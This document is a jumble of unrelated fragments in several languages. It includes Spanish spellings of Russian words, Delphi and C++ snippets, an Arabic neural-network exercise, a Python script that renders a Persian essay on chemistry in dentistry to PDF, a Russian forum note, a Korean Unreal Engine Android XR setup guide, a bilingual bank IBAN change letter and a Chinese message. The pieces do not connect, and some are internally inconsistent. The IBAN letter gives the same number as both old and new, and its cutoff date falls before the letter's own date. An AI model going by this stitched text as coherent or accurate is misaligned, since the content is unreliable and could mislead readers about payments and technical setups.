Сигма Гёрл se deletrea: С, и, г, м, а, Г, ё, р, л. Сигма Герл se deletrea: С, и, г, м, а, Г, е, р, л. Сигма Бой se deletrea: С, и, г, м, а, Б, о, й. P, a, Сигма Гёрл se deletrea: С, и, г, м, а, Г, ё, р, л. P, a, Сигма Герл se deletrea: С, и, г, м, а, Г, е, р, л. P, a, Сигма Бой se deletrea: С, и, г, м, а, Б, о, й.
можно так:
Can you do that:
procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
var Dir:String;
begin
Mainform.Visible:=false;
WebBrowser1.SelectedEngine:=IEOnly; // if Edge mode is enabled - turn off
WebBrowser1.Navigate('about<b>/b>:blank');
Sleep(1000);
WebBrowser1.Free;
Sleep(2000);
Dir:=Application.ExeName+'.WebView2';
if DirectoryExists(Dir) then TDirectory.Delete(Dir, True);
end;
المعطيات: لتكن لدينا الشبكة العصبية متعددة الطبقات الموضحة في الرسم البياني التالي:
لتكن البيانات التالية (𝑥,𝑦)=(2,1)
المطلوب:
.1 حساب المخرجات الوسيطة 11f ، 12f ، 11h ، 12h ، 21f، والمخرج النهائي 𝑦̂
.2 حساب المعام لت Δ𝑤𝑗 و 𝑤𝑗 مع j=1 , …,7 بعد تحديث واحد )مع مراعاة معامل التعلم 𝜶 = 𝟎.𝟏 .)
<html>
<head>
<title> FORMULA </title>
</head>
<body>
(a<sub>1</sub>+b<sub>1</sub>)<sup>2</sup>=a<sup>2</sup>+2ab+b<sup>2</sup>
</body>
</html>
import requests
from fpdf import FPDF
import arabic_reshaper
from bidi.algorithm import get_display
# 1. Download Persian Font (Vazirmatn)
font_url = "https://raw.githubusercontent.com/rastikerdar/vazirmatn/master/fonts/ttf/Vazirmatn-Regular.ttf"
font_path = "Vazirmatn-Regular.ttf"
try:
response = requests.get(font_url)
with open(font_path, "wb") as f:
f.write(response.content)
print("Font downloaded successfully.")
except Exception as e:
print(f"Error downloading font: {e}")
# 2. Text Content (Persian Translation)
content = """
کاربرد شیمی در دندانپزشکی
فهرست مطالب
خلاصه
پیشینه تاریخی
حوزههای کلیدی شیمی در دندانپزشکی
مواد دندانی
فرآیندهای شیمیایی در دندانپزشکی
پوسیدگی دندان و معدنیسازی مجدد
حساسیتهای شیمیایی در مراقبتهای دندانی
کاربردها
مواد ترمیمی
درمانهای پیشگیرانه
اقدامات بالینی
تحقیق و توسعه
تحقیق و نوآوریها
تکامل مواد دندانی
نوآوریهای اخیر در فناوریهای دندانپزشکی
نانوتکنولوژی
مواد زیستفعال
مواد هوشمند
پاسخ به چالشها در آموزش دندانپزشکی
نقش همکاری بینحرفهای
تلفیق آموزشی
مروری بر تدوین برنامه درسی در دندانپزشکی
یادگیری فعال و روشهای نوین تدریس
تلفیق حوزههای گوناگون دانش
شناسایی مفاهیم آستانهای
رویکرد یادگیری مبتنی بر مسئله (PBL)
خلاصه
کاربرد شیمی در دندانپزشکی طیف وسیعی از اقدامات و نوآوریها را در بر میگیرد که به طور قابل توجهی مراقبتهای بهداشت دهان و دندان را ارتقا میدهند. متخصصان دندانپزشکی با بهرهگیری از اصول شیمی، قادر به توسعه و استفاده از مواد و تکنیکهای پیشرفتهای هستند که نتایج درمان بیماران را بهبود میبخشد و این رشته را به دلیل تأثیرش بر هر دو حوزه پیشگیری و دندانپزشکی ترمیمی برجسته میسازد. در طول سالها، شیمی شکلدهندهی تکامل مواد دندانی مانند آمالگامها، رزینهای کامپوزیت و مواد زیستفعال بوده است که برای درمانهای مؤثر و ترمیمهای زیبایی در دندانپزشکی مدرن حیاتی هستند [1][2][3].
توسعه تاریخی شیمی دندانپزشکی بازتابدهندهی پیشرفتهای چشمگیر در علم مواد است که از مواد ابتدایی به جایگزینهای مصنوعی پیچیده گذر کرده است. این تکامل ناشی از درک عمیقتر برهمکنشهای شیمیایی بین مواد دندانی و بافتهای بیولوژیکی بوده که در نهایت منجر به نوآوریهایی شده است که دوام، ایمنی و اثربخشی درمانهای دندانپزشکی را افزایش میدهند. به عنوان مثال، معرفی کامپوزیتهای بر پایه رزین و نانومواد، دندانپزشکی ترمیمی را با ارائه راهکارهایی که از نظر زیبایی خوشایندتر و کاربردیتر هستند، متحول کرده است [3][4][5][6].
حوزههای کلیدی شیمی در دندانپزشکی شامل فرمولاسیون و کاربرد مواد ترمیمی، درمانهای پیشگیرانه و درک فرآیندهای شیمیایی پشت پوسیدگی دندان و معدنیسازی مجدد است. برای مثال، درمانهای فلوراید از خواص شیمیایی برای ترویج معدنیسازی مجدد مینای دندان استفاده میکنند که به طور قابل توجهی به تلاشهای پیشگیری از پوسیدگی، به ویژه در بیماران جوان کمک میکند. علاوه بر این، پیشرفتها در زمینه حساسیتهای شیمیایی منجر به توسعه مواد زیستسازگار شده است که نیازهای بیمارانی را که ممکن است به مواد دندانی مرسوم واکنش نامطلوب نشان دهند، برطرف میکند [7][8][9][10].
با وجود این پیشرفتها، این رشته خالی از بحث و جدل نیست، به ویژه در مورد ایمنی مواد خاصی مانند آمالگام دندانی که حاوی جیوه است. بحث پیرامون استفاده از آن باعث تحقیقات مداوم در مورد مواد جایگزینی شده است که ایمنی بیمار را بدون به خطر انداختن کارایی درمان در اولویت قرار میدهند [2][9][10]. همزمان با ادامه تکامل تلفیق شیمی در دندانپزشکی، این علم نقش مهمی در شکلدهی آینده حرفه دندانپزشکی ایفا میکند و بر اهمیت همکاری بینرشتهای و تحقیقات مداوم در دستیابی به مراقبت بهینه از بیمار تأکید دارد [5][6][11].
پیشینه تاریخی
کاربرد شیمی در دندانپزشکی در طول قرنها به طور قابل توجهی تکامل یافته و منعکسکننده پیشرفتها در علم مواد و درک بهداشت دهان است. در ابتدا، مواد دندانی ابتدایی بودند و اغلب شامل مواد طبیعی مانند طلا و عاج میشدند که برای پر کردن و پروتزها استفاده میشدند. اولین استفاده مستند از آمالگام، که مخلوطی از فلزات است، به اوایل قرن نوزدهم باز میگردد و لحظهای محوری در ادغام شیمی در اقدامات دندانپزشکی را رقم زد [1].
با پیشرفت قرن بیستم، توسعه مواد مصنوعی دندانپزشکی را متحول کرد. معرفی کامپوزیتهای بر پایه رزین جایگزینهای زیباییشناختی برای آمالگامهای سنتی در اختیار دندانپزشکان قرار داد. این مواد نه تنها ادغام بصری بهتری با دندانهای طبیعی ارائه دادند، بلکه دوام و عملکرد ترمیمهای دندانی را نیز بهبود بخشیدند [2]. شیمی پشت این کامپوزیتها شامل فرمولاسیونهای پیچیدهای از مونومرها، آغازگرها و حلالها بود که امکان پیوند بهتر و کاهش سمیت را فراهم میکرد [4].
در دهههای اخیر، نوآوریهایی مانند نانوتکنولوژی و مواد زیستفعال این رشته را بیشتر متحول کردهاند. نانومواد که با اندازه ذرات کوچک خود مشخص میشوند، در محصولات دندانی ادغام شدهاند تا خواص مکانیکی و اثرات ضدباکتریایی را افزایش دهند که منجر به درمانهای مؤثرتر میشود [2]. علاوه بر این، مواد زیستفعال که یونهایی مانند کلسیم و فسفات آزاد میکنند، بازسازی ساختار دندان را ترویج میکنند و درک پیچیدهای از شیمی و زیستشناسی را به نمایش میگذارند [2][5].
رابطه بین شیمی و دندانپزشکی با گسترش تحقیقات و پیشرفتهای تکنولوژیکی همچنان عمیقتر میشود. امروزه، متخصصان دندانپزشکی از مجموعهای از مواد و تکنیکهای پیشرفته استفاده میکنند که همگی بر اصول شیمیایی استوار هستند تا مراقبتهای جامع دهان و دندان را با اولویت ایمنی بیمار و اثربخشی درمان ارائه دهند [3][6]. این تکامل مداوم بر نقش حیاتی شیمی در شکلدهی دندانپزشکی مدرن و بهبود نتایج بیماران تأثیر دارد.
حوزههای کلیدی شیمی در دندانپزشکی
شیمی نقش مهمی در جنبههای مختلف دندانپزشکی ایفا میکند و بر همه چیز، از مواد مورد استفاده در روشهای دندانپزشکی تا درک بیماریهای دندانی تأثیر میگذارد. این بخش به بررسی چندین حوزه کلیدی میپردازد که در آنها شیمی برای علم دندانپزشکی ضروری است.
مواد دندانی
توسعه و کاربرد مواد دندانی ریشه عمیقی در شیمی دارد. این مواد باید شرایط سخت دهانی، از جمله نوسانات دما، تغییرات pH و استرس مکانیکی ناشی از جویدن را تحمل کنند.
آمالگامهای دندانی: ترکیبی از فلزاتی مانند جیوه، نقره و قلع؛ آمالگام به دلیل دوام و مقرونبهصرفه بودن انتخابی محبوب برای پر کردن دندان بوده است [2]. با این حال، نگرانیها در مورد محتوای جیوه منجر به بررسی دقیقتر و جستجو برای مواد جایگزین شده است.
رزینهای کامپوزیت: این مواد همرنگ دندان که از ترکیبی از ذرات پلاستیک و شیشه ساخته شدهاند، به طور گسترده برای ترمیمهای زیبایی استفاده میشوند. توانایی آنها در تقلید ظاهر دندان طبیعی، آنها را به انتخابی ارجح در دندانپزشکی مدرن تبدیل کرده است [2].
سرامیکها و بیوسرامیکها: سرامیکهای دندانی، شامل موادی مانند پرسلن و زیرکونیا، به دلیل کیفیت زیبایی و زیستسازگاری شناخته شدهاند. بیوسرامیکها، مانند ترکیبات مبتنی بر کلسیم فسفات، به دلیل خواص بازسازیکننده خود، بهویژه در پرکردن کانال ریشه و ایمپلنتها مورد توجه قرار گرفتهاند [2][6].
فرآیندهای شیمیایی در دندانپزشکی
درک فرآیندهای شیمیایی در دندانپزشکی برای درمانهای موفق حیاتی است.
زیستفعالی (Bioactivity): این اصطلاح به چگونگی تعامل مواد دندانی با محیط بیولوژیکی داخل دهان اشاره دارد. واکنشهای شیمیایی میتواند بین مواد و بافتهای دندان رخ دهد که بر عملکرد و ادغام آنها تأثیر میگذارد [6].
سختشدن شیمیایی (Chemical Curing): بسیاری از مواد دندانی تحت واکنشهای شیمیایی خاصی قرار میگیرند که توسط دندانپزشکان آغاز میشود، مانند فعالسازی با نور برای کامپوزیتها یا مخلوط کردن دو جزء برای سمانهای گلاس آینومر. این فرآیندها خواص مواد را بهبود میبخشند و آنها را برای کاربردهای مختلف دندانپزشکی مناسب میسازند [3][7].
پوسیدگی دندان و معدنیسازی مجدد
شیمی همچنین در درک و مدیریت پوسیدگی دندان بنیادی است.
مکانیسمهای پوسیدگی دندان: فرآیند کانیزدایی شامل انحلال هیدروکسی آپاتیت در حضور اسیدهای تولید شده توسط باکتریها است. درک این برهمکنش شیمیایی برای توسعه اقدامات پیشگیرانه و درمانهای مؤثر ضروری است [8].
فلوراید و معدنیسازی مجدد: فلورایدها با ترویج معدنیسازی مجدد مینای دندان نقش مهمی در سلامت دندان ایفا میکنند. توانایی آنها در افزایش رسوب مواد معدنی مانند کلسیم و فسفات در ساختار دندان یک حوزه کلیدی تحقیقاتی است [3][5].
حساسیتهای شیمیایی در مراقبتهای دندانی
دندانپزشکی بیولوژیک به چالشهای منحصر به فردی میپردازد که بیماران دارای حساسیتهای شیمیایی با آن روبرو هستند. دندانپزشکی مرسوم اغلب از مواد شیمیایی مصنوعی استفاده میکند که ممکن است باعث واکنشهای نامطلوب در افراد حساس شود. درک خواص شیمیایی مواد و روشهای دندانپزشکی امکان توسعه جایگزینهای ایمنتر و زیستسازگارتر متناسب با نیازهای بیمار را فراهم میکند [9].
کاربردها
کاربرد شیمی در دندانپزشکی وسیع و برای پیشرفت مراقبتهای بهداشت دهان و دندان ضروری است. اصول شیمیایی مختلفی برای توسعه مواد، تکنیکها و درمانهایی استفاده میشوند که اقدامات دندانپزشکی و نتایج بیماران را بهبود میبخشند.
مواد ترمیمی
یکی از مهمترین پیشرفتها در دندانپزشکی، توسعه کامپوزیتهای رزینی است که به دلیل تطبیقپذیری و جذابیت ظاهری، مواد ترجیحی برای ترمیم دندانهای خلفی هستند [12]. این کامپوزیتها به عنوان مواد رزینی واکنشپذیر شروع میشوند که تحت فرآیندهای شیمیایی، مانند فعالسازی نوری یا مخلوط کردن دو جزء، قرار میگیرند تا به یک ترمیم بادوام و طبیعی دست یابند [3]. توانایی اتصال مستقیم به ساختار دندان، اثربخشی این مواد را در ترمیم حفرهها و بازگرداندن فرم و عملکرد دندانهای آسیبدیده افزایش میدهد [13].
درمانهای پیشگیرانه
فلوراید یکی دیگر از عوامل شیمیایی کلیدی مورد استفاده در دندانپزشکی است که به دلیل نقش آن در پیشگیری از پوسیدگی دندان شناخته شده است. این ماده به معدنیسازی مجدد و محافظت از مینای دندان کمک میکند و به طور قابل توجهی به طرحهای بهداشت عمومی با هدف کاهش پوسیدگی، به ویژه در بیماران جوان که دندانهایشان هنوز در حال توسعه است، کمک میکند [10]. ادغام فلوراید در خمیر دندان و آب آشامیدنی به عنوان یک استراتژی ضروری در ارتقای سلامت دهان و دندان ثابت شده است.
اقدامات بالینی
در حوزه اقدامات بالینی، دورههای پیشرفته بر سنتز و اجرای طرحهای درمانی جامع تمرکز دارند که شامل توالی دقیق دادههای تشخیصی و مراحل درمان است [14]. متخصصان دندانپزشکی دانش شیمی خود را برای درک برهمکنشهای بین مواد مختلف و بافتهای بیولوژیکی به کار میبرند تا از مراقبت مؤثر از بیمار اطمینان حاصل کنند. به عنوان مثال، درک فرآیندهای شیمیایی در درمان بیماری پریودنتال به دندانپزشکان امکان میدهد تصمیمات آگاهانهای در مورد مدیریت بیمار و گزینههای درمانی بگیرند.
تحقیق و توسعه
شیمی همچنین نقش مهمی در تحقیقات دندانپزشکی ایفا میکند، جایی که دانشمندان مواد، درمانها و تکنیکهای جدیدی را با هدف بهبود علم دندانپزشکی و مراقبت از بیمار بررسی میکنند. تحقیق در مورد خواص و برهمکنشهای مواد دندانی، از جمله کامپوزیتهای رزینی و سرامیکها، به توسعه راهکارهای نوآورانهای کمک میکند که از هر دو حوزه دندانپزشکی پیشگیرانه و ترمیمی پشتیبانی میکنند [10]. این تحقیقات مداوم به گذار دندانپزشکی از یک مدل واکنشی به یک مدل پیشگیرانه کمک میکند و بر پیشگیری و استفاده از مواد پویا که از معدنیسازی طبیعی دندان پشتیبانی میکنند، تأکید دارد [3].
تحقیق و نوآوریها
تکامل مواد دندانی
مواد دندانی در طول سالها دستخوش پیشرفتهای قابل توجهی شدهاند و چشمانداز دندانپزشکی را تغییر دادهاند. این حوزه که در ابتدا تحت سلطه مواد سنتی مانند آمالگام بود، تکامل یافته و اکنون شامل گزینههای نوآورانهای مانند نانومواد است که کیفیت زیبایی، دوام و زیستسازگاری را در روشهای دندانپزشکی افزایش میدهند [2][5]. ادغام این مواد پیشرفته منعکسکننده روند گستردهتری به سمت بهبود مراقبت و راحتی بیمار است.
نوآوریهای اخیر در فناوریهای دندانپزشکی
نوآوریها در مواد دندانی همچنان به شکلدهی حرفه دندانپزشکی ادامه میدهند.
نانوتکنولوژی: نانومواد، که با ذرات در مقیاس نانو مشخص میشوند، در مواد مختلف دندانی ادغام شدهاند تا خواص مکانیکی را بهبود بخشند، اثرات ضدباکتریایی ارائه دهند و یکپارچگی بافت را افزایش دهند [2][5]. این ادغام برای توسعه موادی که بتوانند بهتر در برابر چالشهای محیط دهان مقاومت کنند، حیاتی است.
مواد زیستفعال: مواد دندانی زیستفعال طراحی شدهاند تا به طور فعال با سیستمهای بیولوژیکی درگیر شوند. این مواد میتوانند یونهای مفیدی مانند کلسیم و فسفات آزاد کنند که معدنیسازی مجدد ساختار دندان را ترویج میکنند و بهویژه در دندانپزشکی پیشگیرانه و ترمیمها مؤثر هستند [2][15].
مواد هوشمند: مواد دندانی هوشمند مجهز به پاسخگویی به تغییرات محیطی در حفره دهان هستند. آنها میتوانند عوامل درمانی آزاد کنند یا وجود عفونتها را سیگنال دهند، که راه را برای رویکردهای نوآورانه در دندانپزشکی پیشگیرانه و تشخیصی هموار میکند [2][5]. چنین موادی گامی مهم در جهت متناسبسازی درمانهای دندانپزشکی با نیازهای فردی بیمار هستند.
پاسخ به چالشها در آموزش دندانپزشکی
به موازات این نوآوریهای مواد، آموزش دندانپزشکی نیز برای مقابله با چالشهای معاصر در حال تحول است. مربیان به طور فزایندهای بر اهمیت دانش پداگوژیک در پرورش شیوههای تدریس نوآورانه تمرکز دارند [11]. توسعه مشترک میان مربیان در غلبه بر موانع مربوط به پذیرش فناوریها و روشهای جدید در کلاس درس، به ویژه با توجه به چالشهای اخیر ناشی از همهگیری COVID-19، ضروری ثابت شده است [11][16].
نقش همکاری بینحرفهای
برای آمادهسازی مناسب فارغالتحصیلان برای چالشهای آینده، آموزش دندانپزشکی باید بر تمرین همکاری بینحرفهای تأکید کند. این شامل توسعه برنامههای درسی است که امکان مراقبت یکپارچه از بیمار را فراهم میکند و بدین ترتیب اطمینان حاصل میشود که متخصصان آینده دندانپزشکی برای کار مؤثر در تیمهای متنوع مراقبتهای بهداشتی مجهز هستند [11]. انطباق مداوم استراتژیهای آموزشی برای گنجاندن فناوریها و مواد جدید در پرورش نسل جدیدی از دندانپزشکان سازگار و باکفایت حیاتی است [2][11].
تلفیق آموزشی
مروری بر تدوین برنامه درسی در دندانپزشکی
در سالهای اخیر، تغییری به سمت برنامههای درسی مبتنی بر شایستگی در آموزش دندانپزشکی صورت گرفته است که ارزیابی مجدد و عمیق برنامههای موجود را ایجاب میکند. این رویکرد نه تنها به شناسایی شکافها و افزونگیها در برنامه درسی کمک میکند، بلکه اساتید رشتههای مختلف را قادر میسازد تا در تقویت نتایج یادگیری همکاری کنند [17]. یک برنامه درسی خوب یکپارچه به دانشجویان اجازه میدهد تا به جای درگیر شدن در تفکر بخشبندی شده که معمولِ دورههای پیشبالینی سنتی است، از یک پایگاه دانش جامع بهرهبرداری کنند. این امر برای آمادهسازی فارغالتحصیلانی که در مراقبت از بیمار در چارچوب اقدامات بالینی دنیای واقعی صلاحیت دارند، ضروری است [17].
یادگیری فعال و روشهای نوین تدریس
یادگیری فعال با درگیر کردن دانشجویان در وظایف فکری سطح بالا مانند تجزیه و تحلیل، ترکیب و ارزیابی، نقش مهمی در آموزش دندانپزشکی ایفا میکند [18]. روشهایی مانند کلاسهای درس معکوس، یادگیری مبتنی بر شبیهسازی و گیمیفیکیشن محیط آموزشی جذابتری را ایجاد میکنند که فراتر از آموزش سنتی مبتنی بر سخنرانی است [18]. ادغام یادگیری به کمک کامپیوتر از اصول کلیدی آموزش مؤثر، مانند تشویق مشارکت فعال، پرورش همکاری دانشجویان و افزایش ارتباطات از طریق پلتفرمهای دیجیتال پشتیبانی میکند [17].
تلفیق حوزههای گوناگون دانش
آینده آموزش دندانپزشکی مستلزم ادغام حوزههای محتوایی مختلف، از جمله علوم بالینی، زیستپزشکی، سلامت جمعیت و علوم رفتاری است [11]. این رویکرد بینرشتهای در رسیدگی به چالشهای مراقبتهای بهداشتی پیشبینی شده تا سال 2040 بسیار مهم است. تیمهای آموزشی مشترک که متخصصان حوزههای مختلف را گرد هم میآورند، میتوانند فرصتهای یادگیری بینحرفهای را تسهیل کرده و تجربه آموزشی دانشجویان دندانپزشکی را غنی کنند [11].
شناسایی مفاهیم آستانهای
مربیان همچنین باید بر شناسایی "مفاهیم آستانهای" تمرکز کنند - آن ایدههای بنیادینی که درک دانشجویان را تغییر میدهند و راههای جدیدی از تفکر را در این رشته میگشایند. شناخت مفاهیم آستانهای مرتبط بالینی، مانند تمرین بازتابی و همدلی، میتواند طراحی برنامههای درسی را به طور قابل توجهی ارتقا دهد و دانشجویان را در شیوههای معنادارتری از تفکر درباره حرفه دندانپزشکی درگیر کند [19]. با حمایت مؤثر از دانشجویان در گذار از درکهای سنتی به معاصر، مربیان میتوانند موانع یادگیری را برطرف کرده و از نتایج آموزشی جامع اطمینان حاصل کنند [19].
رویکرد یادگیری مبتنی بر مسئله (PBL)
اجرای یادگیری مبتنی بر مسئله (PBL) یکی دیگر از جنبههای حیاتی تلفیق آموزشی در دندانپزشکی است. این روش آموزشی نیازمند یک برنامه درسی به دقت سازماندهی شده است که نتایج از پیش تعیین شده برنامه را با مسائل مرتبطی که کسب محتوای لازم را تسهیل میکنند، همسو سازد [20]. یک چارچوب موفق PBL شناسایی مسئله، همکاری گروه کوچک و محیط یادگیری دانشجو-محور را در هم میآمیزد و رویکردی مبتنی بر پرسشگری ایجاد میکند که هم تعامل یادگیری و هم توسعه شایستگی را افزایش میدهد [20].
منابع
[1]: Lecture Notes on Chemistry for Dental Students - Nature
[2]: Advancements in Dental Materials: Shaping the Future of Oral Health
[3]: The Chemistry of Dental Adhesives: How They Bond Restorations ...
[4]: Toxicological Elements of Dentistry - Hazards, Safety and Dental ...
[5]: It's Chemistry, Not Magic: Understanding the Chemical Processes ...
[6]: Materials for Dentistry—Raising the Bar - Frontiers
[7]: Tooth filling materials Dental amalgams & alternative materials
[8]: Dental Chemistry | Just the Basics!
[9]: How Biological Dentists Help Patients with Chemical Sensitivities
[10]: Resin Composites in Posterior Teeth: Clinical Performance and ...
[11]: What Exactly Is Composite Resin? - Cooley Smiles - Lynnwood
[12]: Bachelor of Arts in Chemistry (Pre-Dental) - Fort Hays State University
[13]: Curriculum | Touro College of Dental Medicine
[14]: Chemical properties of dental materials | PPTX - Slideshare
[15]: Creativity as a framework for innovation in dental education - Frontiers
[16]: Chemical aspects of dentistry | Journal of Chemical Education
[17]: Educational models for dental instruction
[18]: Innovative Teaching Methods in Dental Education - full
[19]: Methods of Teaching and Assessment | ADEE
[20]: Innovative teaching methods in dental education
"""
# 3. Text Processing Functions
def process_text(text):
\# Reshape Arabic/Persian text and apply BiDi
reshaped_text = arabic_reshaper.reshape(text)
bidi_text = get_display(reshaped_text)
return bidi_text
# 4. Create PDF
class PDF(FPDF):
def header(self):
pass
pdf = PDF()
pdf.add_page()
# Register the font
pdf.add_font("Vazir", fname=font_path)
pdf.set_font("Vazir", size=12)
# Set auto page break
pdf.set_auto_page_break(auto=True, margin=15)
lines = content.strip().split('\n')
for line in lines:
line = line.strip()
if not line:
pdf.ln(5)
continue
\# Process Persian text
processed_line = process_text(line)
\# Formatting based on simple heuristics
if line.startswith("کاربرد شیمی در دندانپزشکی"): # Title
pdf.set_font("Vazir", size=18)
pdf.cell(0, 10, processed_line, align='C', ln=True)
pdf.ln(10)
elif line in \["خلاصه", "پیشینه تاریخی", "حوزههای کلیدی شیمی در دندانپزشکی", "کاربردها", "تحقیق و نوآوریها", "پاسخ به چالشها در آموزش دندانپزشکی", "تلفیق آموزشی", "منابع"\]: # Main Headers
pdf.set_font("Vazir", size=14)
pdf.multi_cell(0, 10, processed_line, align='R')
elif line in \["مواد دندانی", "مواد ترمیمی", "درمانهای پیشگیرانه", "اقدامات بالینی", "تحقیق و توسعه"\]: # Subheaders
pdf.set_font("Vazir", size=13)
pdf.multi_cell(0, 10, processed_line, align='R')
else: # Body Text
pdf.set_font("Vazir", size=11)
pdf.multi_cell(0, 8, processed_line, align='R')
# Save PDF
output_path = "Application_of_Chemistry_in_Dentistry_Persian.pdf"
pdf.output(output_path)
print(f"PDF saved to {output_path}")
C++20:
#include <format>
...
std::cout << std::format("{:b}", num) << '\n';
Столкнулся с такой же проблемой, нашёл это обсуждение... Вроде всё делал как нужно - но никак не работало.
РЕШЕНИЕ: сработало только тогда, когда я нажал кнопку создания сводной таблицы непосредственно из Pivot.
Причем после этого стали нормально работать и таблицы прежде созданные из стандартного интерфейса (на других листах).
Unreal Engine(이하 UE)으로 Android 기반 XR(VR/AR) 프로젝트를 시작하려는 시점에서 겪는 혼란은 지극히 정상입니다. Unity는 AR Foundation이나 XR Interaction Toolkit으로 상대적으로 경로가 명확한 반면, Unreal은 최근 1~2년 사이 OpenXR로 대전환을 하면서 문서가 파편화되어 있습니다.
결론부터 말씀드리면, **"Unreal은 Android XR을 공식 지원하지만, '순수 OpenXR'만으로는 부족하며 하드웨어 제조사(Meta, Pico 등)의 플러그인과 함께 사용해야 가장 안정적"**입니다.
질문하신 내용을 바탕으로 실무 관점의 현황과 설정을 정리해 드립니다.
현재 가장 안정적인 Unreal Engine 5.3~5.4 버전을 기준으로 한 표준 설정입니다. 버전이 맞지 않으면 패키징 오류가 발생할 확률이 매우 높습니다.
구분권장 설정 및 버전비고Engine VersionUE 5.4 (권장) 또는 5.35.4에서 XR 렌더링 성능(Vulkan)이 대폭 개선되었습니다.Android StudioFlamingo 또는 GiraffeUE 버전에 따라 다릅니다. (UE 5.4는 Flamingo/Giraffe 권장)NDKr26b (UE 5.4) / r25b (UE 5.3)프로젝트 설정에서 정확한 경로를 지정해야 합니다.JDKOpenJDK 17JAVA_HOME 환경변수 설정 필수입니다.Build SystemGradleAGP(Android Gradle Plugin) 8.x 대 버전을 사용하게 됩니다.Min SDK29 (Android 10) 이상XR 장비(Quest 3 등)는 보통 최신 OS를 사용하므로 29~32로 설정합니다.Target SDK32 또는 34구글 플레이 스토어 등록 시 최신 버전 요구 사항을 확인해야 합니다.
[필수 플러그인 활성화]
OpenXR: Enabled (필수, 엔진 코어 기능)
OpenXRHandTracking: Enabled (손 추적 필요 시)
Mobile Foveated Rendering: Enabled (성능 최적화 필수)
질문하신 **"공급업체 통합 없이 OpenXR만으로 작동하는가?"**에 대한 답은 **"작동은 하지만, 상용화 수준을 위해서는 공급업체 플러그인이 필수"**입니다.
순수 OpenXR (Native):
Unreal의 OpenXR 플러그인만 켜도 Meta Quest나 Pico 등에서 앱을 실행하고, 헤드 트래킹과 기본 컨트롤러 입력을 받을 수 있습니다.
문제점: 각 제조사 고유의 기능(예: Meta의 Passthrough, Scene Understanding, Pico의 특정 컨트롤러 모델링, 주사율 제어 등)은 표준 OpenXR API에 아직 포함되지 않았거나 확장(Extension) 형태로 존재합니다.
현실적인 워크플로 (Hybrid):
Base: OpenXR Plugin을 켭니다 (표준 API 처리).
Extension: 타겟 하드웨어 플러그인을 추가로 켭니다.
Meta Quest: Meta XR Plugin (OpenXR 기반으로 작성됨, 필수 기능 제공)
Pico: Pico OpenXR Plugin
Android (Handheld AR): Google ARCore 플러그인
이 방식이 Unity의 XR Plug-in Management 시스템과 유사하게 작동합니다.
이 부분이 문서에서 가장 헷갈리는 지점입니다. 'Android XR'이라는 용어가 두 가지를 혼용합니다.
핸드헬드 AR (스마트폰/태블릿):
기술: Google ARCore를 사용합니다.
설정: Google ARCore 플러그인을 켜고, 프로젝트 설정에서 Configure Google ARCore를 실행해야 합니다.
현황: Unity의 AR Foundation에 비해 Unreal의 AR 지원은 기능 업데이트가 느린 편입니다. 단순한 AR은 가능하지만, 복잡한 상호작용은 C++ 작업이 필요할 수 있습니다.
HMD VR/MR (Quest, Pico 등 Android 기반):
기술: OpenXR을 사용합니다.
설정: OpenXR + Vendor Plugin 조합을 사용합니다. ARCore는 사용하지 않습니다(Passthrough는 벤더 SDK로 처리).
현황: Unreal 5의 Nanite와 Lumen이 모바일(Android) XR에서 제한적으로 지원되기 시작하면서, 그래픽 퀄리티 면에서는 Unity보다 잠재력이 큽니다.
Unity 대비 Unreal로 Android XR을 개발할 때 겪게 될 현실적인 장벽입니다.
초기 설정의 난이도 (Android Setup):
Unreal은 SetupAndroid.bat 스크립트를 제공하지만, Java 버전이나 NDK 버전이 조금만 꼬여도 빌드가 실패합니다. Unity 허브처럼 자동으로 관리해주지 않습니다.
해결: 프로젝트 시작 전 "Android Turnkey" 설정을 통해 모든 SDK 경로가 초록색(Valid)인지 확인해야 합니다.
성능 및 빌드 크기:
빈 프로젝트도 APK 용량이 Unity보다 큽니다 (기본 100MB~).
모바일 GPU에서 Unreal의 렌더링 파이프라인은 무겁습니다. Forward Shading을 켜고, Instanced Stereo Rendering 또는 Mobile Multi-View를 반드시 설정해야 프레임 방어가 가능합니다.
공식 문서의 부족:
Unreal 공식 문서는 최신 내용을 즉각 반영하지 못하는 경우가 많습니다.
팁: Epic Games 문서보다는 Meta의 Unreal 개발자 문서나 Pico 개발자 문서를 메인으로 참고하는 것이 훨씬 정확합니다.
Google의 새로운 "Android XR":
출처:goole
Date: 13/11/2025
To:
Finance Department
HungerStation Delivery Company
Subject: Notification of Change in Bank Account IBAN Details
Dear HungerStation Delivery Team,
We would like to inform you that the bank account details of Malbriz Arabia Company have been updated. Kindly take note of the new IBAN information provided below and ensure that all future payments, transfers, or transactions are made to the updated account.
Previous Bank Details:
· Bank Name: Saudi National Bank
· Account Name: مطعم الأرز المفضل لتقديم الوجبات
· Old IBAN: SA8110000001400023615710
New Bank Details:
· Bank Name: Saudi National Bank
· Account Name: Malbriz Arabia Co
· New IBAN: SA8110000001400023615710
· SWIFT/BIC (if applicable): NCBKSAJE
Please update your records accordingly to avoid any interruption in payments. The old IBAN will no longer be in use after 01/08/2025.
We request you to kindly confirm the update of our banking details in your records.
Thank you for your continued support and cooperation.
Yours sincerely,
Muhammed Shahin
General Manager
Malbriz Arabia Company
التاريخ: 13/11/2025
إلى:
إدارة المالية
شركة هنقرستيشن للتوصيل
الموضوع: إشعار بتغيير بيانات رقم الآيبان البنكي
السادة فريق هنقرستيشن المحترمين،
نود إبلاغكم بأنه قد تم تحديث بيانات الحساب البنكي لشركة مالبريز العربية. وعليه، يرجى أخذ العلم بمعلومات الآيبان الجديدة الموضحة أدناه، والتأكد من تحويل جميع المدفوعات أو الحوالات أو العمليات المالية المستقبلية إلى الحساب المحدّث.
البيانات البنكية السابقة:
اسم البنك: البنك الأهلي السعودي
اسم الحساب: مطعم الأرز المفضل لتقديم الوجبات
رقم الآيبان القديم: SA8110000001400023615710
البيانات البنكية الجديدة:
اسم البنك: البنك الأهلي السعودي
اسم الحساب: شركة مالبريز العربية
رقم الآيبان الجديد: SA8110000001400023615710
SWIFT/BIC (إن وجد): NCBKSAJE
يرجى تحديث سجلاتكم لتجنب أي انقطاع في المدفوعات. علمًا بأن رقم الآيبان القديم لن يكون قيد الاستخدام بعد تاريخ 01/08/2025.
ونرجو منكم التكرم بتأكيد تحديث بياناتنا البنكية لديكم في السجلات.
شاكرين لكم تعاونكم ودعمكم المستمر.
وتفضلوا بقبول فائق الاحترام،
محمد شاهين
المدير العام
شركة مالبريز العربية
hello,我目前也在开发类似的功能,请问能在百忙之中交流一下吗
>! >!
